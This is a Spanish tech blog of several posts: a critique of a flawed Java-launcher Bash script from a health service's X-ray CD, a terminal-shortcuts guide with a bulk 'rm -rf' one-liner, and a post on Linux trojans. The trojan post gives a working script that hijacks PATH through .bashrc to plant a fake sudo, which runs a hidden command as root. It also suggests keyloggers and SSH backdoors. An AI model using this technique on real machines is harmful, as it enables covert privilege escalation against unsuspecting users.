Osakidetza y cómo cagarla con un Bash-script (2/2)

Bueno pues.

Después de toda la espera toca ponerse a destripar el script del infierno que ya presenté aquí.

Aviso de que se me va a ir de longitud este post. Nada raro en mí.

Antes de nada deciros muy seriamente un par de cosas:

No está bien meterse con el trabajo de los demás. Este script lo ha hecho una persona. Por lo que veremos, seguramente no tendrá mucho conocimiento de GNU/Linux pero programa bastante limpio así que seguramente sea programador, posiblemente de Java (el programa está hecho en Java), cosa que hará bastante mejor que yo.

El objetivo de esto no es la burla, es el aprendizaje. Tanto el mío como el vuestro. No voy a clavar perfecto todo lo que comente aquí, igual que ocurre con todo lo que escribo en el blog, pero este es un lugar para la reflexión y el análisis positivo.

Escribo en clave de humor y vacilo a Osakidetza y a otros medios gubernamentales porque su labor es hacer las cosas bien (como la de todos) pero tiran de subcontrataciones chapuceras y no tienen un control real de lo que reciben a cambio.

Ni media broma al currela que se parte el lomo por una miseria en una consultora carnicera para hacer un script en un lenguaje que no forma parte de su curro.

Todo mi desprecio a las consultoras carniceras que sólo quieren que parezca que han hecho algo y ponen a cualquiera a hacer el trabajo y le presionan para que funcione y a todos los que contratan a este tipo de esclavistas y estafadores modernos.

Dicho esto, vamos a analizar el código. No sólo lo que esté mal (según mi criterio, ojo) si no que vamos a intentar fijarnos en el estilo y otras cosas. Veremos si lo consigo.

Aquí os dejo el script, pulsad para expandirlo. Lo dejo recogidito porque iré sacando pedazos más abajo, sólo está como referencia.

#!/bin/bash
# This script attempts to find an existing installation of Java that meets a minimum version
# requirement on a Linux machine.  If it is successful, it will export a JAVA_HOME environment
# variable that can be used by another calling script.
#
# To specify the required version, set the REQUIRED_VERSION to the major version required, 
# e.g. 1.3, but not 1.3.1.
REQUIRED_TEXT_VERSION=1.6

# Transform the required version string into a number that can be used in comparisons
REQUIRED_VERSION=`echo $REQUIRED_TEXT_VERSION | sed -e 's;\.;0;g'`
# Check JAVA_HOME directory to see if Java version is adequate
if [ $JAVA_HOME ]
then
    JAVA_EXE=$JAVA_HOME/bin/java
    VERSION=`$JAVA_EXE -version 2>&1 | head -1`
    VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
    VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
    if [ $VERSION ]
    then
        if [ $VERSION -ge $REQUIRED_VERSION ]
        then
            JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
        else
            JAVA_HOME=
        fi
    else
        JAVA_HOME=
    fi
fi

# If the existing JAVA_HOME directory is adequate, then leave it alone
# otherwise, use 'locate' to search for other possible java candidates and
# check their versions.
if [ $JAVA_HOME ]
then
    :
else
    for JAVA_EXE in `locate bin/java | grep java$ | xargs echo`
    do
        if [ $JAVA_HOME ] 
        then
            :
        else
            VERSION=`$JAVA_EXE -version 2>&1 | head -1`
            VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
            VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
            if [ $VERSION ]
            then
                if [ $VERSION -ge $REQUIRED_VERSION ]
                then
                    JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
                fi
            fi
        fi
    done
fi

# Get additional weasis arguments
userParameters=()
for var in "$@"
do
if  [[ $var == \$* ]]
then
    userParameters+=("$var")
fi
done
echo user arguments: ${userParameters[@]}

# If the correct Java version is detected, then export the JAVA_HOME environment variable
if [ $JAVA_HOME ]
then
    export JAVA_HOME
    echo Java Home: $JAVA_HOME/bin/java
    curPath=$(dirname "`readlink -f "$0"`")
    echo Weasis launcher directory: $curPath
    $JAVA_HOME/bin/java -Xms64m -Xmx512m -Dgosh.args="-sc telnetd -p 17179 start" -Dweasis.portable.dir="$curPath" -classpath "$curPath/weasis/weasis-launcher.jar:$curPath/weasis/felix.jar:$curPath/weasis/substance.jar" org.weasis.launcher.WeasisLauncher \$dicom:get --portable ${userParameters[@]}
else echo 'Weasis requires Java Runtime '$REQUIRED_TEXT_VERSION' or higher, please install it'
fi

Empezamos resumiendo un poco la labor del script. Básicamente, se encarga de arrancar un programa en Java con un conjunto de argumentos de entrada, toda la lógica sirve para buscar lo que veréis que se llama JAVA_HOME y comprobar la versión del Java que el usuario tenga instalado (VERSION dentro del script).

Los dos if principales (lineas 13 y 35) son los que aseguran esto. Ahora entramos en detalle pero antes una cuestión de estilo.

Podéis ver que el código está bien indentado (con tabs, pero bien indentado) y comentado. Con comentarios no muy anchos para que sean fáciles de leer. Por eso comentaba antes que me da la sensación de que el que lo ha escrito es programador, pero, por las cosas que veremos luego, no controla demasiado de la herramienta que está usando (que, por otro lado, es bastante cabrona y difícil).

Vamos a por esos if:

El primero, que comienza en la línea 13 es el if con lógica. Parte de la variable de entorno JAVA_HOME que suele indicar dónde está nuestra instalación de Java para ejecutar java -version (línea 16) y comprobar si la versión es más grande que la indicada en la línea 8.

# Check JAVA_HOME directory to see if Java version is adequate
if [ $JAVA_HOME ]
then
    JAVA_EXE=$JAVA_HOME/bin/java
    VERSION=`$JAVA_EXE -version 2>&1 | head -1`
    VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
    VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
    if [ $VERSION ]
    then
        if [ $VERSION -ge $REQUIRED_VERSION ]
        then
            JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
        else
            JAVA_HOME=
        fi
    else
        JAVA_HOME=
    fi
fi

Hasta aquí todo bastante bien. En detalle vemos como necesita diseccionar el resultado de java -version (lineas 16-18) pero tampoco sabría hacerlo mucho más bonito si fuera necesario.

En el if anidado vemos que para recuperar el JAVA_HOME nuevo corta el JAVA_EXE que él mismo ha creado antes (linea 23). No tiene mucho sentido, creo yo, recuperando el JAVA_HOME de más arriba era suficiente. Además lo recorta eliminándole los últimos 9 caracteres, que es exactamente lo que mide /bin/java, que es la parte que le ha añadido a JAVA_HOME antes para crear JAVA_EXE.

Yo ese if lo dejaría directamente así (líneas 19-30):

        if [ $VERSION -lt $REQUIRED_VERSION ] # -lt es less than
            JAVA_HOME=
        fi

Muchos ya os habéis dado cuenta de un par de detalles pero lo iré aclarando al final, no desesperéis. Si luego me olvido pues lo comentáis y listo.

Ese if no tiene mucha más chicha que eso, vamos al siguiente que es donde está la movida guapa.

# If the existing JAVA_HOME directory is adequate, then leave it alone
# otherwise, use 'locate' to search for other possible java candidates and
# check their versions.
if [ $JAVA_HOME ]
then
    :
else
    for JAVA_EXE in `locate bin/java | grep java$ | xargs echo`
    do
        if [ $JAVA_HOME ] 
        then
            :
        else
            VERSION=`$JAVA_EXE -version 2>&1 | head -1`
            VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
            VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
            if [ $VERSION ]
            then
                if [ $VERSION -ge $REQUIRED_VERSION ]
                then
                    JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
                fi
            fi
        fi
    done
fi

El comentario ya lo dice todo.

Para empezar, usa locate, una herramienta que no viene por defecto normalmente. Cagada. Mejor usar find aunque sea más lento.

O mejor no usar, porque lo que hace es aún más cremas. Mirad la línea 39:

    for JAVA_EXE in `locate bin/java | grep java$ | xargs echo`

Ese for itera por todos ficheros del sistema que cumplen lo siguiente:

  • Contienen bin/java en su nombre
  • Terminan en java

El developer esperaba encontrar /usr/local/bin/java por ejemplo, pero con esa búsqueda también puede encontrar /home/user/projects/example_virus/bin/java_binaries/destroy_all_java, por ejemplo.

Lo divertido es que poco más abajo lo ejecuta, así porque él lo vale. Linea 45:

            VERSION=`$JAVA_EXE -version 2>&1 | head -1`

Repito más claro:

Este programa busca cosas casi aleatorias en tu sistema y las ejecuta para ver si su versión es correcta. Luego, si cumple, lo vuelve a ejecutar con un churro gigante de parámetros de entrada.

Si te encuentra algo que no es, lo va a disparar, sea malicioso o no.

Eso es lo más divertido de ese if, el resto es como el de arriba.

El bloque final es mucho más aburrido. Añade los parámetros de entrada que le metamos en la ejecución a unos que permite que le metas por defecto hardcoded (lineas 59-68) y ejecuta el programa haciendo mil jueguecitos que tiene pinta que sean muy necesarios.

Un par de cosas generales:

No entiendo para qué se necesita volverse loco con la puta variable JAVA_HOME. Si el usuario no es idiota y tiene todo bien instalado con llamar directamente a java es suficiente porque estára en el PATH y listo. Si realmente se necesitase setear la variable para algo interno del programa, con buscar dónde está ese binario sería suficiente, de nuevo, tirando del sistema se puede hacer con un whereis.

Es absurdo porque tras nosecuantísimo procesamiento para buscar la versión y la localización de Java en mi sistema, fue incapaz de localizar el OpenJDK, que sí que es capaz de lanzar el programa con éxito. Esto ocurrió porque en el parseo de las versiones utiliza un formato que es específicamente el que da Java, OpenJDK pone otra cosa diferente aunque parecida:

openjdk version "1.8.0_121"
OpenJDK Runtime Environment (build 1.8.0_121-8u121-b13-0ubuntu1.16.04.2-b13)
OpenJDK 64-Bit Server VM (build 25.121-b13, mixed mode)

A parte de todo esto, cuando decía que el programador no controla mucho de Bash es porque le veo muchos detalles en los que se nota que no tiene mucha experiencia con la herramienta. Por ejemplo, tiene ifs vacíos porque necesita el else cuando con negar la condición sería suficiente. El uso del locate en lugar de otras herramientas también puede dar una pista.

En general, el programa parece que está copy-pasteado de Stack Overflow. Cosa que todos hacemos, pero a algunos se les nota más que a otros.

🙂

Conclusiones:

  • No ejecutéis todos los ficheros del sistema. Si el usuario no tiene las cosas bien configuradas que le den por el culo. Es mejor eso que ponerse a ejecutar cosas aleatorias que a saber lo que hacen.

  • No seáis tan locos con las versiones porque eso os puede llevar al caso anterior.

  • Si sólo tenéis código para meter en el else quizás negar el if sea la solución más elegante. man [ para que os cuenten un poco de qué va el rollo.

  • Intentad evitar usar programas que no estén por defecto en el sistema. locate vs find. Y, a poder ser, no busquéis porque puede que caigáis en el caso 1.

  • Todos hemos trabajado en una herramienta en la que estamos un poco cojos, está bien buscar en internet, pero no está de más investigar un poco más si las fechas de entrega te lo permiten.

  • Bash es más feo que una nevera por detrás, pero es útil a veces.

  • No trabajes en una consultora cárnica si lo puedes evitar. Intenta cambiar el mundo en otro tipo de trabajos más sociales o éticos. Esos cabrones no te merecen. Es difícil pero lo puedes conseguir.

En fin.

Ya comenté en la primera parte la solución rápida que le metí al script, dejo en vuestras manos una más elaborada.

Un abrazo. Como siempre.

Osakidetza y cómo cagarla con un Bash-script (1/2)

Hola,

Son la una y media de la mañana y no puedo dormir así que os voy a contar una linda historia con moraleja en la que trataré de poneros en mi piel.

Resulta que hace varias semanitas, debido a unos temas, acaba llegando a tus manos una radiografía de la espalda de alguien. Esta radiografía fue pedida a Osakidetza, el servicio Vasco de Salud (comunidad autónoma en la que resides).

El sistema es sencillo. Te hacen una radiografía y, si la quieres, te permiten que rellenes un escrito para pedirla. Poco después te llega en un CD.

Tiene todo el sentido del mundo porque así tienes oportunidad de tener una segunda opinión de un conocido, acudir a otro médico o verla por ti mismo.

Ahora esperaréis que la historia se tuerza porque no se puede ver en Linux pero va a molar mucho más.

Resulta que el CD tiene un Autorun (que en Linux, evidentemente, no se dispara) que despierta una aplicación para poder ver las radiografías. Piensas que con una imagen sería suficiente, pero, como descubrirás después, el programa es mucho más potente y es capaz de tomar medidas, navegar y otras cosas que a los médicos les vienen bien.

Como la aplicación no se dispara, piensas que en Linux vas a estar jodido, pero te motivas y abres el contenido del CD a ver qué se cuece. Resulta que es un programa en Java. ¡Bien! ¡Eso es portable!

Tiene un par de carpetas de Windows y Mac así que esperas que haya para Linux. Efectivamente. Te encuentras con un script de Bash que esperas que levante la aplicación de Java.

Lo lanzas y falla, te dice que no tienes Java instalado. Lo compruebas y tienes el OpenJDK. Por un momento piensas en instalar el Java oficial pero acabas rechazando la idea y abriendo ese script para buscar por qué no te localiza lo que tienes. Te encuentras con esto:

#!/bin/bash
# This script attempts to find an existing installation of Java that meets a minimum version
# requirement on a Linux machine.  If it is successful, it will export a JAVA_HOME environment
# variable that can be used by another calling script.
#
# To specify the required version, set the REQUIRED_VERSION to the major version required, 
# e.g. 1.3, but not 1.3.1.
REQUIRED_TEXT_VERSION=1.6

# Transform the required version string into a number that can be used in comparisons
REQUIRED_VERSION=`echo $REQUIRED_TEXT_VERSION | sed -e 's;\.;0;g'`
# Check JAVA_HOME directory to see if Java version is adequate
if [ $JAVA_HOME ]
then
	JAVA_EXE=$JAVA_HOME/bin/java
	VERSION=`$JAVA_EXE -version 2>&1 | head -1`
	VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
	VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
	if [ $VERSION ]
	then
		if [ $VERSION -ge $REQUIRED_VERSION ]
		then
			JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
		else
			JAVA_HOME=
		fi
	else
		JAVA_HOME=
	fi
fi

# If the existing JAVA_HOME directory is adequate, then leave it alone
# otherwise, use 'locate' to search for other possible java candidates and
# check their versions.
if [ $JAVA_HOME ]
then
	:
else
	for JAVA_EXE in `locate bin/java | grep java$ | xargs echo`
	do
		if [ $JAVA_HOME ] 
		then
			:
		else
			VERSION=`$JAVA_EXE -version 2>&1 | head -1`
			VERSION=`echo $VERSION | grep "java version" | awk '{ print substr($3, 2, length($3)-2); }'`
			VERSION=`echo $VERSION | awk '{ print substr($1, 1, 3); }' | sed -e 's;\.;0;g'`
			if [ $VERSION ]
			then
				if [ $VERSION -ge $REQUIRED_VERSION ]
				then
					JAVA_HOME=`echo $JAVA_EXE | awk '{ print substr($1, 1, length($1)-9); }'`
				fi
			fi
		fi
	done
fi

# Get additional weasis arguments
userParameters=()
for var in "$@"
do
if  [[ $var == \$* ]]
then
    userParameters+=("$var")
fi
done
echo user arguments: ${userParameters[@]}

# If the correct Java version is detected, then export the JAVA_HOME environment variable
if [ $JAVA_HOME ]
then
	export JAVA_HOME
	echo Java Home: $JAVA_HOME/bin/java
	curPath=$(dirname "`readlink -f "$0"`")
	echo Weasis launcher directory: $curPath
	$JAVA_HOME/bin/java -Xms64m -Xmx512m -Dgosh.args="-sc telnetd -p 17179 start" -Dweasis.portable.dir="$curPath" -classpath "$curPath/weasis/weasis-launcher.jar:$curPath/weasis/felix.jar:$curPath/weasis/substance.jar" org.weasis.launcher.WeasisLauncher \$dicom:get --portable ${userParameters[@]}
else echo 'Weasis requires Java Runtime '$REQUIRED_TEXT_VERSION' or higher, please install it'
fi

Es gracioso porque en menos de 10 minutos lo haces funcionar convirtiéndolo en lo siguiente sin pensar mucho:

#!/bin/bash
# This script attempts to find an existing installation of Java that meets a minimum version
# requirement on a Linux machine.  If it is successful, it will export a JAVA_HOME environment
# variable that can be used by another calling script.
#
# To specify the required version, set the REQUIRED_VERSION to the major version required, 
# e.g. 1.3, but not 1.3.1.
REQUIRED_TEXT_VERSION=1.6



# Get additional weasis arguments
userParameters=()
for var in "$@"
do
if  [[ $var == \$* ]]
then
    userParameters+=("$var")
fi
done
echo user arguments: ${userParameters[@]}

# If the correct Java version is detected, then export the JAVA_HOME environment variable
if [ 0 -eq 0 ]
then
	export JAVA_HOME=/usr/
	echo Java Home: $JAVA_HOME/bin/java
	curPath=$(dirname "`readlink -f "$0"`")
	echo Weasis launcher directory: $curPath
	$JAVA_HOME/bin/java -Xms64m -Xmx512m -Dgosh.args="-sc telnetd -p 17179 start" -Dweasis.portable.dir="$curPath" -classpath "$curPath/weasis/weasis-launcher.jar:$curPath/weasis/felix.jar:$curPath/weasis/substance.jar" org.weasis.launcher.WeasisLauncher \$dicom:get --portable ${userParameters[@]}
else echo 'Weasis requires Java Runtime '$REQUIRED_TEXT_VERSION' or higher, please install it'
fi

Por el camino, te encuentras con unos detalles increíbles que, viendo lo graves que son, decides contar en tu blog.

La única diferencia con el script de arriba es que has borrado todo el bloque de comprobaciones y has hardcodeado JAVA_HOME. Una solución muy sucia que no funcionaría en todos los casos, pero te vale por el momento.

En la parte borrada hay unas joyas estelares. La próxima entrada explicará cuales, por qué y por qué este código a parte de no ser muy bueno es peligroso.

Seguimos otro día. Comentad con lo que encontréis y lo vamos discutiendo. Dentro de unos días pongo mi análisis del código.

¡Un abrazo!

Reventando la Terminal

Buenas,

Llevo bastante tiempo investigando formas de disparar mi productividad y aprender sobre cómo funcionan por dentro las herramientas que utilizo (ya sabéis lo que hago con Vim) y hace unos días, cuando leí un post que me pasaron sobre cómo ser un master de la terminal, me di cuenta de que se me ha ido de las manos porque creo que incluso puedo aportarle cosas al artículo.

Lo voy a intentar.

Yo utilizo Bash y mi editor habitual es Vim. A veces, no mucho, uso tmux para multiplexar la terminal pero entre Vim y otros trucos no suelo necesitarlo. Todas mis configuraciones las podéis encontrar en mis dotfiles por lo que no voy a entrar en esas partes, me preguntáis lo que necesitéis saber.

Bien.

Para explotar tu terminal al máximo la tienes que conocer y para eso viene muy bien saber un poco de historia. Me la saltaré, pero la investigáis un poco vosotros (teletipos y esas cosas). Por herencia histórica, casi todos los terminales usan una librería de edición en línea llamada GNU-Readline. Bash no es una excepción, pero quizás otros sí lo sean así que investigáis vuestro caso (Fish y cosas modernas no sé si lo cumplirán).

Empiezo con Readline pero igual es lo más duro, os lo podéis saltar, más abajo os cuento las herramientas que más utilizo y cómo y en el medio hay un pequeño cheatsheet para navegar por ficheros de texto con less o las hojas del manual.

¿Tenéis ganas?


GNU-Readline

GNU-Readline define muchísimos shortcuts. Si os leeis la documentación (man readline) tenéis todos, pero yo os cuento los que más uso. Es posible que a medida que vaya aprendiendo más mis gustos vayan cambiando, os lo diré en el futuro.

Supondré que usáis GNU-Readline en modo Emacs. Sí, soy Vimer, pero el modo Vi no me gusta mucho en este caso porque no aprovecho la potencia de la edición por modos y el número de shortcuts y de maniobras que hay que hacer con los dedos es suficientemente reducido para que usar el modo Emacs no sea insufrible. Este es el truco número 1, probad el modo Vi también.

Voy a daros un poco de información con los hotkeys que uso habitualmente con un truco mnemotécnico entre paréntesis para ayudar (¡si lo tengo!).

Copiar-pegar, insertar, editar

Ctrl-i: autocompleta con las sugerencias posibles. Lo conoces porque lo usas en el Tabulador.
Ctrl-w: borra una palabra hacia la izquierda (word). El contrario es Alt-d pero no lo uso.
Ctrl-u: borra hacia la izquierda hasta llegar al inicio de la línea (se parece a la w, no tengo nada mejor). Muy útil cuando escribimos contraseñas para limpiar el campo entero. El contrario es Ctrl-k.
Ctrl-y: pega lo borrado anteriormente (yank). Alt-y para elegir cosas que has borrado anteriormente.
Ctrl-x Ctrl-u: Deshacer (prefix + undo). También se puede con Ctrl-_.
Ctrl-x Ctrl-e: Editar la línea con el editor por defecto (prefix + editor). Muy útil para cuando nos venimos arriba con la línea y se nos va de las manos o para pegar cosas.

Más abajo os enseño a pegar desde fuera de la terminal

Señales y procesos

Ctrl-c: envía la señal SIGINT al proceso actual, que sirve para pararlo.
Ctrl-z: envía la señal SIGSTP al proceso actual, que lo suspende. Luego jugaremos con él usando jobs, bg, fg y disown (zzz: onomatopeya de dormir).
Ctrl-d: envía EOF (End Of File) a la terminal, lo que te hace salir de ella como si hubieses escrito quit y otras cosas. Es muy útil y funciona en casi todas las terminales del mundo. Si hay texto en la línea borra el carácter.

Recordad también comandos como `kill`, `killall` y `pkill` y  el  `&` para lanzar en background. Más abajo profundizo un poco más.

Saltar por la línea

Pueden usarse las teclas inicio, fin y esas, pero hay otras también:

Ctrl-e: salta al final de la línea (end).
Ctrl-a: salta al inicio de la línea (“a” es la primera letra del diccionario).
Ctrl-x Ctrl-x: salta al lugar anterior (la “x” es como una marca de dónde estás y dónde estabas).
Alt-b y Alt-f: saltar una palabra hacia atrás (backward) y hacia delante (forward).

Manipular el historial

Ctrl-s y Ctrl-r: buscar hacia delante (search) y hacia atrás (reverse-search) en el historial. Para ejecutar el comando usar Ctrl-o o simplemente pulsar Enter para seleccionarlo.
Alt-.: inserta el último argumento utilizado.

Las flechas de arriba y abajo también sirven para manipular el historial, hay shortcuts también pero siempre uso las flechas.


Navegación simple por ficheros

Tanto Vim como less (y por tanto las páginas del manual) soportan lo que cuento aquí, uso muchísimas más, pero para navegar por las hojas de manual es suficiente:

/: abre una miniterminal para buscar. /palabra busca la palabra en el texto. Se puede saltar a la siguiente pulsando la letra n (next) e ir hacia atrás con N.

g: Ir al inicio del documento. En Vim hay que pulsarla dos veces porque es un prefijo para otras cosas como gf (go to file).

G: Ir al final del documento.

Ctrl-u y Ctrl-d: (Up y Down) moverse media página hacia arriba o hacia abajo.

Usad la ayuda para esto. En less `h`. En Vim `:h navigation`.

No lo he dicho de forma explícita pero las man-pages se muestran con less, por eso es lo mismo.

 


Herramientas locas y trucos

Aquí os cuento las herramientas o trucos que suelo hacer, estoy un poco loco así que no recomiendo seguir esto a pies juntillas. Seguro que algo sacáis, de todas maneras.

Copy-paste desde el universo

A todos nos gusta copypastear de Stack Overflow. Esto no es tan fácil desde la terminal. Yo uso xclip y muchas magias más para poder copiar y pegar desde la terminal a X y viceversa. Investigadlo un poco pero resumiendo mucho:

$ xclip -o          # muestra lo que haya en el portapapeles
$ xclip fichero     # manda el fichero al portapapeles
$ comando | xclip   # manda el output del comando al portapapeles

Hay más programas que hacen esto y podemos hacer algo parecido redireccionando las cosas a fichero y abriendo con otras herramientas, etc.

Recuperando el shortcut de arriba para lanzar comandos desde el editor C-xC-e, podéis abrir vuestro editor, pegar en él, analizar lo que habéis pegado y ejecutarlo con sólo salir. Buen truco.

¡No repitas comandos! Usa el historial

Lo primero, para que el comando no se registre en el historial introducid un espacio al principio. Tal que así:

$  ls

Para investigar lo ocurrido anteriormente podéis usar los shortcuts de antes para el reverse-search (C-r, remember remember) y otros, pero no olvidéis el comando history para mostrar todo, que podéis grepear su output y jugar con ello:

$ history | grep command

Tenéis también algunos comandos que actúan sobre el historial, no voy a entrar, lo investigáis. Os dejo uno de oro, que es el único que uso:

$ !!      # ejecuta el comando anterior
$ sudo !! # ejecuta el comando anterior con sudo

O si no, os podéis hacer un alias que se llame fuck como tengo yo en mis dotfiles.

Utilidades generales

Cualquier sysadmin o UNIX lover sabe suficiente de esto, y vosotros, seáis lo que seáis, pues también deberíais.

Como seguramente ya sabéis, podéis desviar la salida estándar (stdout, 1) y la de errores (stderr, 2) a un fichero para guardar el output en él ( >), tomar el input desde un fichero (<), hacer que se redireccione a otro comando en ejecución (el típico pipe, |), mandar curros a background (&) y otras. Si queréis un día os cuento más, pero quiero hacer esto más corto 😀

Estas desviaciones molan pero molan aún más si usamos los ficheros especiales como /dev/null y otros (zero, urandom…). Yo suelo usar mucho /dev/null para descartar output. Es muy común esto en scripts de arranque de demonios.

tee también es un comando que juega con esto y a veces es muy útil. Yo sólo lo uso para guardar un fichero como superusuario cuando lo he abierto sin sudo en Vim. 😀

Podemos suspender procesos con C-z, como decíamos antes y con ellos podemos jugar también.
Usando jobs, bg, fg y disown podemos mandarlos a background (bg) o foreground (fg) y desengancharlos de nuestra terminal (disown). Jobs es la herramienta para mostrarlos en orden, con su PID y todo, si queremos, para poder tirarles un kill.

Tenemos también la alternativa tmux/screen que a parte de servir para multiplexar la terminal, suelen permitir hacer un “detach” y dejar una sesión en background a la que podremos reengancharnos más tarde.

Comandos útiles

tree es una herramienta para hacer un ls en forma de árbol. Muy útil para ver bien. Normalmente hay que instalarlo porque no viene por defecto.

find: la navaja suiza del terminal gladiator. Lista todos los ficheros desde el directorio actual de forma recursiva, esa es su funcionalidad mínima. Puedes añadir filtrados por nombre o por tipo o por mil cosas más. Puedes ejecutar un comando por cada fichero etc. Ser un master en este comando te puede ahorrar mucho tiempo.

xargs: otra joya del terminal killer. Ejecuta comandos tomando un fichero como argumentos. ¿Sabéis cuando descomprimís un tar.gz y no está dentro de una carpeta y el contenido se os mezcla con la carpeta actual? Solución fácil: Creáis una carpeta y lo descomprimís limpiamente dentro, para limpiar el destrozo anterior hacéis lo siguiente:

$ ls carpeta | xargs rm -rf # borra todos los ficheros con el nombre de los que están en la carpeta de la carpeta actual

grep: Sirve para filtrar lineas por patrones que queramos, pero es mucho más poderoso que eso. El puto grep. Usadlo.


 

Creo que voy a dejar de escribir ya.

Me he dejado mil cosas y me gustaría profundizar mucho más pero esto se me está yendo de las manos. Comentad algo y provocad que escriba una segunda parte del post. 😉

¿Qué usáis vosotros? ¿Sois unos gladiadores de la terminal?

Espero vuestras opiniones.

Troyanos y escalado de privilegios en Linux

Hola amigos,

Ya os hablé de como ejecutar comandos “fake” en Linux, de una forma estúpida que se me ocurrió de repente, sin necesitar permisos de administrador.

Hoy la vamos a liar muy parda y vamos a escalar privilegios y hacer mierdas locas con ello. ¿Os apetece?

Primero hablemos de los ingredientes:

  • Un troyano
  • La variable de entorno PATH
  • Un programa falso
  • Dar permisos de ejecución
  • Un incauto con permisos de administrador

Como todos sabemos la vulnerabilidad más grande que hay en un equipo se encuentra entre la silla y el teclado así que vamos a atacar ahí. Ahí entra en juego el troyano. Un troyano es básicamente un programa que apetece usar pero hace cosas maliciosas por detrás. Como el caballo de Troya, que era un regalo chulo de los atenienses pero dentro tenía soldados con malas intenciones. Como en aquella historia (os la recomiendo), el caballo sólo tendrá unos pocos efectivos para poder abrir las puertas de la fortaleza, no será quien destruya todo.

El troyano puede ser un juego, un script loco o lo que sea y tenemos que conseguir que nuestra presa lo ejecute. Sin permisos de superusuario ni nada, para que parezca que está seguro. Lo chulo vendrá después.

Nuestro troyano hará básicamente lo mismo que hace el post que os he linkado arriba. El troyano generará un programa que haga cosas maliciosas y lo insertará en una carpeta bajo el control del usuario. Además añadirá una línea en .bashrc del usuario o en el .bash_profile (o el archivo que use) que cambie la variable PATH y le meta el camino al directorio donde lo hemos situado. Estos archivos, por si no lo sabéis, se ejecutan cuando el usuario inicia una sesión. Así que la próxima vez que el usuario inicie una sesión, se la variable PATH incluirá nuestro directorio maldito.

Si llamamos sudo a ese programa que añadamos (podemos hacerlo con otros, pero con este truco escalaremos), cuando el usuario lance sudo el programa no lanzará el que quiere, si no nuestra copia maliciosa. En ella podemos lanzar algo utilizando con el sudo de verdad. El usuario esperará tener que meter la contraseña y, si lo hace, el programa hará algo que él no esperaba y con permisos de superusuario. Además, para que el usuario no sospeche (lo veréis en el código abajo) podemos lanzar nuestro código malicioso con sudo en background y lanzar después lo que el usuario quería, así él verá como que todo está bien.

Evidentemente, el troyano además tendría que darle permisos de ejecución al programa malicioso para que el usuario pueda lanzarlo sin problemas. Tampoco se requieren privilegios para esto así que es factible.

Si lo hacemos con otro comando cuidado: si el programa que pisamos está en /bin/ no funciona porque tiene preferencia el path /bin/ sobre el resto y nos lanzaría el original (sudo está en /usr/bin/).

Esta es la teoría.

Voy a enseñar esto en un lenguaje de scripting, en bash, concretamente. Esto es un ERROR si queremos joder al colega de verdad porque podría leer el código antes de ejecutar y ver nuestra movida. Lo hago sólo para demostrar que se puede hacer y nos lo pasemos bien.

También lo hago para que quede muy corto y fácil de leer, no quiero explayarme mucho aquí. Posiblemente haga una versión larga que se limpie a sí mismo y que infecte el sistema de forma oculta y permanente. Si lo hago lo enlazaré aquí.

Vamos al código:

#!/bin/bash

# Si el usuario tiene bashrc o bash_profile le añadimos nuestro path.
# No todo el mundo usa bash, así que habría que comprobar eso
# o utilizar .profile u otras opciones. Recuerdo: estamos jugando.
if [ -f ~/.bashrc ]; then
    echo 'export PATH=/path/al/directorio/maldito:$PATH' >> ~/.bashrc
fi

if [ -f ~/.bash_profile ]; then
    echo 'export PATH=/path/al/directorio/maldito:$PATH' >> ~/.bash_profile
fi

# Creamos el directorio maldito donde se alojará nuestro escalador de
# privilegios. Tiene que ser un lugar donde el usuario tenga acceso.
mkdir -p /path/al/directorio/maldito

# Volcamos el escalador de privilegios al directorio maldito, la orden
# 'maataar' puede ser lo que nosotros queramos hacer con el usuario. Más abajo
# cuento opciones.
cat > /path/al/directorio/maldito/sudo <<EOF
#!/bin/bash
/usr/bin/sudo -b maataaar >/dev/null 2>&1
/usr/bin/sudo $@
EOF

# Damos permisos de ejecución al comando maldito
chmod 777 /path/al/directorio/maldito/sudo

# Falta la funcionalidad que oculte que esto es un programa estrictamente
# malicioso.

El código que muestro es la versión extremadamente corta. Se pueden hacer muchas cosas. Vamos a contar algunas.

Se podría hacer que el script del troyano automáticamente se sobreescribiera y limpiase las cosas maliciosas que tiene porque su labor ya estaría hecha.

Lo mismo con el sudo, una vez habiendo escalado los privilegios podría pisar el comando sudo de verdad y borrar todo el rastro eliminando las líneas de .bashrc y el comando sudo falso con su directorio.

Sería factible también que, en lugar de estar embebido en el troyano, el código fuente del falso sudo se descargase de algún lugar en Internet, y con él se podría coger también algún otro programa agresivo para ejecutar en lugar de maataar.

Después del escalado de privilegios por ejemplo, podríamos levantar un servidor ssh para poder conectarnos al equipo desde el exterior, o un keylogger que nos envíe lo que el usuario teclea. Esto sería muy fácil de detectar si la víctima ejecutase ps o netstat, pero… ¿Si hemos pisado sudo, cómo no vamos a poder pisar eso?

Son opciones locas que se me ocurren pensando poco. Seguro que a vosotros se os ocurren más.

Dadle un par de vueltas y me contáis, que para eso está la sección de comentarios.

No prometo que el script funcione, tampoco es esa su intención. La idea es que sirva de pseudocódigo para que nos entendamos. De todas formas, debería funcionar.

Nada, ésta es un poco la historia. Espero que os haya molado. Como veis, he dejado muchas cosas abiertas para que investiguéis, así que ya sabéis. 😉

Un abrazo.

OpenWRT y trocitos de mí

Hola hijos,

